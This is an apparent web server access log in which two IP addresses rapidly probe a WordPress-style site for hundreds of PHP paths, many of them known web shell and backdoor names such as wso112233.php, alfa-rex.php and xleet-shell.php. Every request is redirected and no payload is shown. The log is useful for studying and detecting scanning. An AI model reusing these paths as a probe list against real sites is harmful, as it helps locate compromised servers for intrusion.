"GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:14 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:22:15 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:15 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:15 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:15 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:15 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:16 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:16 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:16 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:16 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:17 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 